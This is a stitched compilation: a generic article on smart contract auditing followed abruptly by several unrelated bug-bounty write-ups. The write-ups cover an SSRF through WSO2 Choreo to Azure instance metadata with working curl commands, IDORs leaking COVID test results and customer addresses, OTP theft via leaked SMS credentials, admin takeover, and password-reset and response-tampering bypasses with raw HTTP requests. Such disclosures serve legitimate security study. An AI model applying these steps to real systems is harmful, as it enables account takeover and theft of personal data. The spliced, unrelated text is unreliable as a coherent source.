Benefits of Smart Contracts

Smart contracts offer a range of benefits, including:

1. Efficiency: Smart contracts can automate tasks, reducing the need for intermediaries and manual processes. This can save time, reduce costs, and improve accuracy.

2. Transparency: Smart contracts are recorded on a public blockchain, which means they are transparent and cannot be tampered with. This can help to build trust and reduce fraud.

3. Security: Smart contracts use cryptography to secure transactions, which makes them resistant to hacking and fraud.

4. Reliability: Smart contracts are executed automatically when specific conditions are met, which eliminates the need for human intervention and reduces the risk of errors.

Risks Associated with Deploying Smart Contracts Without Proper Auditing

Despite the benefits of smart contracts, deploying them without proper auditing can pose significant risks. Some of the key risks include:

1. Security vulnerabilities: Smart contracts can contain security vulnerabilities that can be exploited by hackers. These vulnerabilities can lead to the loss of funds or sensitive data.

2. Functionality errors: Smart contracts can contain errors in the code, which can lead to unexpected behavior and incorrect execution of the agreement.

3. Compliance issues: Smart contracts may not comply with legal and regulatory requirements, which can lead to legal consequences and reputational damage.

4. Reputation damage: A smart contract that does not function properly can lead to a loss of trust and damage to a company's reputation.

Importance of Smart Contract Auditing

Smart contract auditing is a critical step in the development and deployment process. Auditing helps to ensure that smart contracts are secure, functional, and compliant with legal and regulatory requirements. In this section, we will discuss the importance of smart contract auditing in more detail.

Security: How Auditing Helps Identify and Mitigate Vulnerabilities

Smart contracts are vulnerable to a range of security threats, including hacking, theft, and fraud. Auditing can help to identify vulnerabilities in smart contract code and mitigate the risks associated with these threats. Auditors use a range of techniques, including code review and penetration testing, to identify vulnerabilities in smart contracts.

Common vulnerabilities in smart contracts include reentrancy attacks, integer overflow/underflow, and logic errors. Reentrancy attacks occur when an attacker exploits a smart contract's ability to execute code multiple times within a single transaction, leading to the execution of unintended code. Integer overflow/underflow occurs when an integer value exceeds the maximum or minimum value that can be stored, leading to unexpected behavior. Logic errors occur when the code does not accurately reflect the intended business logic or rules.

Functionality: Ensuring the Code Accurately Reflects Business Logic and Rules

Smart contracts are designed to automate the execution of agreements between two or more parties. As such, it is essential that the code accurately reflects the intended business logic and rules. Smart contract auditing can help to ensure that the code functions as intended and that there are no errors or unintended consequences.

Compliance: Meeting Legal and Regulatory Requirements

Smart contracts are subject to a range of legal and regulatory requirements, including anti-money laundering (AML) and know-your-customer (KYC) regulations. Failure to comply with these requirements can result in legal and reputational consequences. Smart contract auditing can help to ensure that smart contracts comply with these requirements and avoid legal and reputational damage.

Common Smart Contract Vulnerabilities

Smart contracts are complex pieces of code that are vulnerable to a range of security threats. In this section, we will discuss some of the most common vulnerabilities that smart contracts face.

Reentrancy Attacks

Reentrancy attacks occur when a contract is called multiple times before it has completed its previous execution. This can lead to unintended behavior, such as unauthorized transfers of funds. The most infamous example of a reentrancy attack was the DAO hack in 2016, where an attacker was able to drain millions of dollars from the DAO smart contract by exploiting a vulnerability in the code.

Integer Overflow/Underflow

Smart contracts rely heavily on integer values for calculations and storing data. If an integer value exceeds the maximum or minimum value that can be stored, it can lead to unexpected behavior or even crash the contract. For example, if a contract stores a user's balance as an integer value, and an attacker is able to increase the balance beyond the maximum value, it can lead to unintended behavior and a potential loss of funds.

Logic Errors

Logic errors occur when the code does not accurately reflect the intended business logic or rules. This can lead to unintended consequences or even a complete failure of the contract. For example, a simple logic error in a voting contract could allow an attacker to vote multiple times or change the outcome of an election.

Other Common Vulnerabilities

Other common vulnerabilities include:

• Time manipulation: An attacker may exploit the timestamp functionality of the contract to manipulate the execution of code.

• Authorization issues: The contract may allow unauthorized users to access sensitive functions or data.

• Denial-of-Service attacks: An attacker may flood the contract with a large number of requests, causing it to become unresponsive

Types of Smart Contract Auditing

Auditing is a critical component of smart contract development and deployment. There are three main types of auditing: manual, automated, and hybrid.

Manual Auditing

Manual auditing involves a team of human auditors reviewing the code line by line to identify potential vulnerabilities and bugs. This process can be time-consuming and expensive, but it is the most thorough method of auditing. Manual auditing is particularly useful for complex contracts and those with a high risk of exploitation. However, it has limitations such as human error and bias.

Automated Auditing

Automated auditing involves using software tools to scan the code for vulnerabilities and bugs. This process is much faster and less expensive than manual auditing, but it is also less thorough. Automated auditing is particularly useful for identifying common vulnerabilities such as reentrancy attacks and integer overflow/underflow. However, automated auditing may miss more complex vulnerabilities and can produce false positives.

Hybrid Auditing

Hybrid auditing involves combining manual and automated methods to create a more comprehensive auditing process. This approach combines the thoroughness of manual auditing with the speed and efficiency of automated auditing. Hybrid auditing is a popular choice for many smart contract developers and is particularly useful for large, complex contracts with a high risk of exploitation.

Best Practices for Smart Contract Auditing

To ensure the security and reliability of smart contracts, developers should follow best practices for auditing. These include:

1. Code review process: Smart contract developers should have a thorough code review process that involves both manual and automated auditing methods.

2. Tools and resources: Developers should use a range of tools and resources, such as code analysis tools, security libraries, and security frameworks, to identify vulnerabilities and prevent them.

3. Working with auditors: Developers should work with professional auditors to ensure that their code is thoroughly reviewed and tested. This can help identify potential issues and prevent vulnerabilities.

Case Studies: Past Smart Contract Security Breaches and Impacts

In the past, there have been several high-profile smart contract security breaches that have resulted in significant financial losses. Here are a few examples:

1. The DAO Hack: In 2016, a hacker exploited a vulnerability in The DAO smart contract, which was a decentralized autonomous organization that aimed to act as a venture capital fund. The hacker managed to drain approximately $50 million worth of Ether from The DAO before the community decided to hard fork the Ethereum blockchain to reverse the hack.

2. Parity Wallet Bug: In 2017, a bug in the Parity Wallet smart contract resulted in the loss of approximately $150 million worth of Ether. The bug was due to a flaw in the smart contract code, which allowed a single user to become the owner of the contract and freeze all the funds held in the wallet.

3. YAM Finance Reentrancy Bug: In 2020, the YAM Finance DeFi protocol suffered a reentrancy bug that resulted in a loss of approximately $750,000 worth of funds. The bug allowed an attacker to continuously withdraw funds from a YAM smart contract, resulting in a loss of the majority of the protocol's total value.

There have been other notable incidents, including the Bancor hack, the Parity multisig wallet bug, and the Augur smart contract vulnerability. These incidents highlight the importance of proper smart contract auditing and the potential financial risks associated with deploying untested or poorly audited smart contracts.

Future of Smart Contract Auditing

As the use of smart contracts continues to grow, the importance of auditing will only increase. In the future, we can expect to see advancements in smart contract auditing technology, including more sophisticated automated auditing tools, increased use of AI and machine learning, and greater integration with traditional security frameworks.

However, there are also potential challenges and opportunities on the horizon. As the industry grows, we may see a shortage of qualified auditors and a need for greater standardization and regulation in the auditing process. Additionally, the rise of decentralized finance (DeFi) and other innovative smart contract applications may present unique auditing challenges that require new approaches and tools.

Overall, the future of smart contract auditing is promising, and the industry will continue to evolve to meet the growing demand for secure and reliable smart contracts. Developers and businesses should prioritize auditing as a critical component of smart contract development and deployment to ensure long-term success.

So Choreo is a digital innovation platform that allows you to develop, deploy, and manage cloud-native applications at scale. Its AI-assisted, low-code application development environment simplifies creating services, managing APIs, and building integrations while ensuring best practices and secure coding guidelines.

I started testing one functionality of Choreo called REST API Proxy

What is a REST API Proxy?

A REST API Proxy is an API proxy that complies with the Representational State Transfer(REST) standards. The REST API proxy fronts the API and is the contact point for applications that want to consume the API. Although APIs decouples the backend and the application, an API alone cannot ensure security for the backend and the application by applying policies such as security, rate-limiting, etc. This is where a REST API Proxy comes into play. A REST API Proxy helps you manage the API by applying necessary security policies, access-control policies, and even collecting analytics. Fronting your unmanaged API by a REST API proxy gives your application the flexibility to make changes to the back-end API without affecting the applications that consume them.

A REST API Proxy exposes an endpoint that applications use to consume the API.

So the Choreo API Proxy functionality Works like below

1. Exposing an existing API by creating a REST API proxy.

2. Deploying the REST API proxy.

3. Testing the REST API proxy to verify its functionality.

4. Manage your REST API proxy by adding rate limiting and security policies and leveraging the platform's API management capabilities.

So lets start how I manage to find a SSRF in that functionality

First I created a dummy api proxy with target https://google.com , then i deployed the API and got invoke URL as below

https://c7000d34-e8b2-4669-89c7-5fb9b8b46d00-dev.e1-us-east-azure.choreoapis.dev/vjvn/defaultapi/1.0.0

From the URL structure dev.e1-us-east-azure.choreoapis.dev I got confirmation that the application API is hosted on Azure

So thought to give a try for SSRF

1. Collected the metadata URL for azure from the Cloud Metadata directory

http://169.254.169.254/metadata/instance?api-version=2017-04-02

http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

Then Created a new REST API Proxy with endpoint set to http://169.254.169.254/metadata/instance?api-version=2017-04-02

Then deployed the API , which gave me the endpoint and the authentication token

Then I started testing the API by clicking the Test button. and there is option to copy the curl request to test via curl

Then I got response Bad request: . Required metadata header not specified

This error confirmed that there is interaction with the azure , after googling the error found out that there is extra HTTP header Metadata=true required to access metadata.

So I added the header in the curl with -H flag

curl "https://c7000d34-e8b2-4669-89c7-5fb9b8b46d00-dev.e1-us-east-azure.choreoapis.dev/vjvn/defaultapia/1.0.0/" -H 'Metadata=true' -H 'API-Key: eyJXXXX' -X GET

Then after setting the header the header error gone but I got another error

{"error":"Bad request. api-version is invalid or was not specified in the request. For more information refer to aka.ms/azureimds","newest-versions":["2021-12-13","2021-11-15","2021-11-01"]}

After lot of debugging found out that I set the endpoint as http://169.254.169.254/metadata/instance?api-version=2017-04-02 so the whole URL is not getting passed with the request or the version I am using no longer supported . So I tried with the version 2021-12-13 still I got the same api-version error like before.

After scratching my head , I got one idea .

To create a new REST API Proxy with Endpoint http://169.254.169.254 and append the path /metadata/instance?api-version=2017-04-02 in Invoke URL endpoint in the curl command.

Then deployed the API , opened the testing console via curl and set the path to /metadata/instance and added one parameter api-version with value 2017-04-02

Then copied the Curl command and added the extra HTTP header Metadata=true

curl "https://f61db5e1-4378-4746-bdc8-4b00a65701b5-dev.e1-us-east-azure.choreoapis.dev/ujfn/defaultapiadghdg/1.0.0/metadata/instance?api-version=2017-04-02" -H 'Metadata: true' -H 'API-Key: eyJrXXXXX' -X GET

And guess what it's worked like a charm and got the metadata

After this stopped further testing and quickly created the POC and reported to the vendor.

WSO2 Team fixed the issue within a day . I got a bounty, certificate and got acknowledged in their acknowledgement page.

Thanks for visiting . Subscribe to my newsletter and never miss my upcoming articles.

Endpoint holds data so disclosing the issue partially with redacted information.

So lets start,

The app provides a functionality where you have to create one account in Mylab Coviself mobile app and you can save and share your test result.

Under Reports section there is section called View Report

When I clicked the View Report one API called made to https://xxx.xxx.com/ with a parameter called patient_test_id

Where its displays the user's Name, address, age, phone number and the covid test result and user can down the report as pdf

So the patient_test_id parameter is vulnerable to IDOR , by replacing the value of patient_test_id I am able to see any user's data which includes name,address,age,Mobile number,gender, email(few email getting disclosed as it's a optional field during signup) and the COVID test result. Below are few result with redacted information

The attack is pretty straight forward by using burp suit intruder attacker can extract all user information

Till today (18th June) 40694 user done the antigen test and all information are publicly accessible.

After 20+ follow up mail I am disclosing the issue though Winni team fixed the issue silently without responding back.

So the issue is a pretty straight forward IDOR

Winni delivers cake and gift to your loved one , while placing the order before payment its ask for the address.

While selecting the address one POST request made to fetch the address in reference to addressId.

    POST /checkout/adv/address/select-previous HTTP/1.1
    Host: winni.in
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101   
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 16
    Origin: winni.in
    Connection: close
    Referer: winni.in/checkout/adv/address
    Cookie: AWSALBTG=XXX

    addressId=685945

Alter the addressid value to fetch other user's address along with name and phone number.

As the addressId is sequential an attacker can fetch all address available in the database . Which will result mass PII leaks including data such as names, phone numbers and addresses.

POC

PS- Don't waste your time by reporting their bug bounty program.

Thanks for reading, any suggestion feedback are welcome

As its a private program we will take it as Example App . So I gone through all endpoint and functionality of the application , i didn't find anything critical. So I thought to give a try to their GitHub.

If you want to learn how to do GitHub recon there is a detailed tutorial by Th3G3nt3lman

So i started my search with the keyword passwd , i got 3-5 result

after going through all file i got a valid password in file called config.properties

So that app using OTP based authentication and i got the credential for the third party service , which they are using for the SMS.

Using those credential I logged into the SMS provider portal , there is a section call SMS delivery where all SMS delivery report are stored along with the Phone number and the text sent to that number.

So now i have all registered users mobile number and OTP delivery report along with OTP

So i just request for OTP and from the delivery report got the valid OTP and loggedin to any user's account 😎

Hope you guys like it , share your feedback in comment.

So let's start

The vulnerability was a pretty straightforward IDOR

So, the website uses sso for authentication, after successful authentication its redirect back the subdomain abc.example.com

after exploring the functionality, I found its a very basic site where no option to edit your own account even, many static pages and some third party links.

so after that, I navigate to the https://abc.example.com/robots.txt and found lots of hidden directories are there, like /admin, /user

so quickly I navigate to the directory /user it redirected me to https://abc.example.com/user/16397/edit
that page provides functionality like change password, change email id, change address, add an address
Next, I just change the value to 16390, then it's redirected me to the user edit option of the user which associated with 16390 userid

Then I created another test account to verify the issue, I am successfully able to change password and email of the user

Then I thought to give a try for admin panel takeover, so iIvisited to https://abc.example.com/user/1/edit

its redirected to me to the portal admin panel where i can change admin password email

So at that point ,i can able to takeover all user account by changing the userid value as all are sequential and admin panel too .

After 4 days they fixed the issue and got a nice bounty and bonus , that helped me to fullfill my last 2018 goal.

Thanks for reading, any suggestion feedback are welcome

I found 2 account takeover on the same subdomain using 2 different endpoint

• Account Takeover Using Password Reset Functionality

• Account Takeover Using Privilege Escalation And IDOR

  So let's start

Account Takeover Using Password Reset Functionality

So basically user initiated a password reset
after that, the password reset token looks like below

https://test.example.com/Admin/NewUser.aspx?id=ZABlAGUAcABhAGsAZABhAHMAMgA4ADgAQABnAG0AYQBpAGwALgBjAG8AbQA=

so as you can see the id parameter value is base64 encoded
so I decoded the id parameter value and I got d e e p a k d a s 2 8 8 @ g m a i l . c o m

so the id parameter was endcode with user email with one white space in between every character, so got the account takeover, validate the same with another email its worked like a charm

Account Takeover Using Privilege Escalation And IDOR

After the first issue resolved again I dig the subdomain for more critical issue

so as you can see there one directory called admin so I started directory brute forcing

I found one file called /admin/abmhcpuser.aspx with 200 OK status code

by browsing the URL I got this

I was expecting to get the whole user but I saw there I can edit my own profile only 😥😥

so I decided to check the edit functionality for IDOR
So I changed the parameter value to my test account email and provided a new password in password parameter and forwarded the request, got 200 OK

edited my own profile captured the request found 2 parameter $wHCPUser$txtMedicEmail= and

`$wHCPUser$txtUserName=` the value was user email id, by default, the username set by the application was the user email id which you can't change
So I changed the parameter value to my test account email and provided a new password in password parameter and forwarded the request, got 200 OK
tried with the new password to login to my test account and I successfully logged in, I was like

Got some good bounty and bonus
Thanks for reading, any suggestion feedback are welcome

#s3gt_translate_tooltip_mini { display: none !important; }

So basically the authentication work flow is like below

• To change account email user need to provide the current account password
• If the password is correct then application let you to change the account email

So lets start

when user want to change their account email id the app ask for current password like below

so here i wanted to test the response for both correct and incorrect password response

so here is the request

*POST /account/set-sudomode HTTP/1.1 200 OK
Date: \*****
Host:buffer.com
User-Agent: Mozila/5.0
X-Request-With: XMLHttpRequest

csrf_token=uyr37832rhehr8&password=wrongpassword**

so the response for wrong password is below

*HTTP/1.1 200 OK
Date: Mon,\****
Content-Lenght: 139
Connection:close

{"error_message":"Huh That's not your current password,are you sure you got that right?","csrf_token":"uyr37832rhehr8"}**

so here is the response for correct password

*HTTP/1.1 200 OK
Date: Mon,\****
Content-Lenght: 139
Connection:close

{"notice_message":"Great, we believe it's really you","sudomode":"true","csrf_token":"Csrftoken"}**

if you observe both response just the notice_message and sudomode added in the correct password response
so here i used a wrong password let say 123456

Request is like below
*POST /account/set-sudomode HTTP/1.1 200 OK
Date: \*****
Host:buffer.com
User-Agent: Mozila/5.0
X-Request-With: XMLHttpRequest

csrf_token=uyr37832rhehr8he7372829hefdgdf&password=123456**

Note the csrf _token value in the request that is :
uyr37832rhehr8he7372829hefdgdf

Response

*HTTP/1.1 200 OK
Date: Mon,\****
Content-Lenght: 139
Connection:close

{"error_message":"Huh That's not your current password,are you sure you got that right?","csrf_token":"**uyr37832rhehr8he7372829hefdgdf"}

Modify the response to
*HTTP/1.1 200 OK
Date: Mon,\****
Content-Lenght: 139
Connection:close

{"notice_message":"Great, we believe it's really you","sudome":"true","csrf_token":"**uyr37832rhehr8he7372829hefdgdf**"}
Boom now it will show successfully authenticated and you can change your email
So here is the video proof of concept

Status: Fixed
Bounty Rewarded

So basically the password reset functionality work flow is like below

• User requested for password reset
• Then one code(12 digit Alphanumeric ) sent to the registered Email id
• User have to provide the correct code then application ask to set new password

So lets start

to reset password user need to visit https://site.com/forgetpassword

the below form will appear ,

So here let say we use victim email id victim@site.com and requested for password reset

after that the below screen will appear , here we need to enter the correct code to reset the password . so the code is 12 digit so no way to brute force.

so here used some random code like "hacker" and i saw there is no validation of code length

so here is the request of code validation
_POST /memberp/users/send_reser_instruction
Content-Lenght: 67
Content-Type: application/x-www-form-urlencoded
Host: site.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
X-Request-With: XMLHttpRequest
Referer: http://site.com/forgotpassword
Cookie: bla=bla; _method=POST&data%5Bforgotpassword%5D%5Bpassword+Reset+code%5D=hacker&data%5Bforgotpassword%5D%5Bprcemailid%5D=UkRNS2JSUlZWcEdjdmNnRE1JOWVhuXFVMWpEMWMOREZHWExaaHRGaWdyWT0==_

here is the response

_HTTP/1.1 200 OK
Date: sun,08 may 2017 10:58:07 GTM
Server: Apache
Connection: Close
Content-Type: text/html; charset=UTF-8

so after that i have provided the correct code to analysis the back-end validation

so for a correct code in the response body just changed like this

HTTP/1.1 200 OK
Date: sun,08 may 2017 10:58:07 GTM
Server: Apache
Connection: Close
Content-Type: text/html; charset=UTF-8
Content-length: 210

so as you can see it just validating the prcemailid2 value which we can get from the 1st request

_method=POST&data%5Bforgotpassword%5D%5Bpassword+Reset+code%5D=hacker&data%5Bforgotpassword%5D%5Bprcemailid%5D=UkRNS2JSUlZWcEdjdmNnRE1JOWVhuXFVMWpEMWMOREZHWExaaHR

so just in the response body you need to replace with below code

so the final response will be like this**

HTTP/1.1 200 OK
Date: sun,08 may 2017 10:58:07 GTM
Server: Apache
Connection: Close
Content-Type: text/html; charset=UTF-8
Content-length: 210
__

boom now the below screen appears

Now provide the new password and confirm new password and submit the request , password changed successfully . Navigate to login panel and login with new password .

successfully own the account

Status :Fixed
Bounty Rewarded